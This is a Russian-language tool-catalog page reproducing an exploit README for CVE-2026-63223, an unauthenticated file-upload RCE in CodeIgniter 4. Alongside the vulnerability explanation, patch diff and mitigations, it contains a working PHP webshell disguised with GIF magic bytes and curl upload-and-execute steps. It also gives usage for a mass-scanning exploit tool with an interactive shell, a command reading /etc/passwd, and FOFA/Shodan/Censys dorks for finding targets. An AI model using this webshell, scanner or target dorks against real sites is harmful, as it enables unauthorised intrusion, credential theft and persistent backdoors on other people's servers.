Skip to content
KitploitKITPLOIT
ИнструментыЭксплойтыБлог
Log in
Отправить
ИнструментыЭксплойтыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-63223 — CVE-2026-63223 — CI4RCE: CodeIgniter 4 is_image/mime_in загрузка файлов RCE. Обход магических байтов (getExtension vs getClientExtension). CVSS 9.8 | CWE-434 | CI4 < 4.7.4 | Kitploit
Инструменты/GitHubGitHub/shinthink/cve-2026-63223
Сканеры веб-уязвимостейГенерация полезной нагрузкиАнализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на Проникновение
GitHubshinthink/cve-2026-63223

CVE-2026-63223

CVE-2026-63223 — CI4RCE: CodeIgniter 4 is_image/mime_in загрузка файлов RCE. Обход магических байтов (getExtension vs getClientExtension). CVSS 9.8 | CWE-434 | CI4 < 4.7.4

Репозиторий
1211 месяц назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2026-63223 — RCE при загрузке файлов в CodeIgniter 4

Обход magic bytes → is_image/mime_in → PHP-веб-шелл → RCE


Обзор

CVE-2026-63223 — это критическая (CVSS 9.8) неаутентифицированная уязвимость удалённого выполнения кода в CodeIgniter 4, полнофункциональном PHP-веб-фреймворке, затрагивающая версии до 4.7.4.

Уязвимость эксплуатирует правила валидации загрузки файлов is_image и mime_in, которые проверяют только MIME-тип, определяемый по содержимому (magic bytes), не проверяя расширение имени файла, указанное клиентом. Атакующий добавляет magic bytes изображения (заголовки GIF89a, JPEG, PNG) к PHP-коду, называет файл shell.php, успешно проходит валидацию и получает RCE, когда файл попадает в веб-доступную директорию, где исполняется PHP.

CVSS: 9.8 CRITICAL — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H Обнаружено: 31 июля 2026 | Advisory: GHSA-mmj4-63m4-r6h5 Исправлено: CodeIgniter 4 v4.7.4

Затронутые версии

ВерсияСтатус
< 4.7.4Уязвима
4.7.4+Исправлена

CWE: CWE-434 — Неограниченная загрузка файла опасного типа Ссылочный PoC: imbas007/CVE-2026-63223-POC


Механизм уязвимости

Корневая причина

Правило валидации is_image в CodeIgniter 4 передаёт getExtension() — возвращающий расширение, определяемое по magic bytes (например, gif) — в Mimes::guessTypeFromExtension(), чтобы определить, является ли файл изображением. Расширение имени файла, указанное клиентом (getClientExtension(), например php), не проверяется никогда:

// VULNERABLE — CI4 4.7.3 FileRules.php
public function is_image(?string $blank, string $params): bool
{
    // ...
    $type = Mimes::guessTypeFromExtension($file->getExtension()) ?? '';
    //      ↑ getExtension() = "gif" (from magic bytes, NOT client filename!)
    if (mb_strpos($type, 'image') !== 0) {
        return false;  // "image/gif" → passes!
    }
    return true;  // never checks getClientExtension() = "php"
}

Почему это работает

  1. getExtension() ≠ getClientExtension() — первый получается из magic bytes (gif), второй — из имени файла, указанного клиентом (php)
  2. Валидация доверяет байтам, а не имени — is_image проходит, так как Mimes::guessTypeFromExtension("gif") возвращает image/gif
  3. Файл сохраняется с клиентским именем — $file->move($path, $file->getClientName()) сохраняет расширение .php
  4. До v4.7.4 нет перекрёстной проверки — не проверяется, что клиентское расширение совпадает с определённым типом
  5. Веб-доступные загрузки — стандартные/публичные каталоги загрузки напрямую отдают PHP-файлы

Схема атаки

1. Attacker generates PHP webshell with GIF89a header
   → file(1) reports "GIF image data"
2. POST multipart to vulnerable endpoint (/upload/avatar)
   → is_image validates: image/gif → PASS
   → File saved as shell.php in /uploads/
3. GET /uploads/shell.php?c=id
   → Apache passes .php to PHP-FPM → PHP executes
   → GIF89a output as plaintext, then <?php code runs
4. RCE as www-data

Исправление (v4.7.4)

Патч добавляет метод hasInvalidImageClientExtension() — теперь проверяется и клиентское расширение:

// PATCHED — v4.7.4+
private function hasInvalidImageClientExtension(UploadedFile $file): bool
{
    $clientExtension = trim(strtolower($file->getClientExtension()), '. ');
    //                   ↑ NOW checks getClientExtension() = "php"!
    if ($clientExtension === '') return false;
    $type = Mimes::guessTypeFromExtension($clientExtension) ?? '';
    //      ↑ Mimes::guessTypeFromExtension("php") → "text/x-php"
    return mb_strpos($type, 'image') !== 0;  // TRUE → REJECT!
}

Ключевое изменение: is_image теперь проверяет как getExtension() (определяемое по содержимому, для непосредственной проверки на изображение), так и getClientExtension() (указанное клиентом, чтобы отклонять расширения, не являющиеся изображениями, например .php).


Установка

git clone https://github.com/shinthink/CVE-2026-63223.git
cd CVE-2026-63223
pip install requests

Использование

# Single target
python cve_2026_63223.py -t ci4-app.com -e /upload/avatar

# Custom command
python cve_2026_63223.py -t ci4-app.com -e /upload/avatar -c "cat /etc/passwd"

# Interactive shell
python cve_2026_63223.py -t ci4-app.com -e /upload/avatar --shell

# JPEG variant, custom filename
python cve_2026_63223.py -t ci4-app.com -e /upload/avatar --method jpg --filename wp-admin.php

# Mass scan
python cve_2026_63223.py -f targets.txt -e /upload/avatar --threads 20

Аргументы

  -t, --target       Single target URL
  -f, --file         Target list, one per line
  -e, --endpoint     Vulnerable upload endpoint (default: /upload/avatar)
  --field FIELD      Upload form field name (default: avatar)
  --method {gif,jpg,png}  Magic bytes disguise (default: gif)
  --filename NAME    Shell filename (default: shell.php)
  -c, --command      Shell command to execute (default: id)
  --shell            Interactive pseudo-shell mode
  -o, --output       Save RCE URLs to file
  --threads          Concurrent workers (default: 30)

Подтверждение концепции

Одиночная цель

$ python cve_2026_63223.py -t ci4-app.com -e /upload/avatar -c "id; hostname"
  Host          : ci4-app.com
  CodeIgniter 4 : YES
  Upload        : YES
  Shell URL     : http://ci4-app.com/uploads/shell.php
  RCE           : YES

  RCE Output:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
app-server-01

Ручная эксплуатация (curl)

# Generate GIF89a-prefixed PHP webshell
python3 -c "
import sys
php = b'<?php if(isset(\$_REQUEST[\"c\"])){system(\$_REQUEST[\"c\"]);die();} ?>'
sys.stdout.buffer.write(b'GIF89a\n' + php)
" > evil.php

# Upload
curl -F "[email protected];type=image/gif" http://target/upload/avatar

# Execute
curl http://target/uploads/evil.php?c=id

FOFA / Shodan

FOFA:   body="CodeIgniter" && body="Welcome to"
Shodan: http.title:"Welcome to CodeIgniter" http.component:"CodeIgniter"
Censys: services.http.response.body:"debugbar_loader"

Воздействие

Успешная эксплуатация даёт удалённое выполнение кода от имени пользователя веб-сервера:

  • Выполнение произвольных системных команд
  • Доступ к учётным данным базы данных из файлов .env
  • Развёртывание постоянных бэкдоров
  • Перемещение (pivoting) во внутренние сети
  • Порча сайта (deface) или компрометация приложения

Для атаки не требуется учётная запись или аутентификация — конечные точки загрузки, использующие is_image/mime_in без ext_in, уязвимы по умолчанию.


Исправление (v4.7.4)

  1. Обновитесь до CodeIgniter 4 v4.7.4 или более поздней версии
  2. Обходной путь: используйте is_image/mime_in вместе с правилом валидации ext_in
  3. Храните загрузки вне корневого каталога веб-сервера и отдавайте их через прокси readfile()
  4. Генерируйте контролируемые сервером имена файлов с помощью getRandomName()

Отказ от ответственности

ТОЛЬКО ДЛЯ ОБРАЗОВАТЕЛЬНЫХ ЦЕЛЕЙ И АВТОРИЗОВАННОГО ТЕСТИРОВАНИЯ.

Не используйте против систем без явного разрешения. Авторы не несут ответственности за неправомерное использование.


Ссылки

Скачать инструмент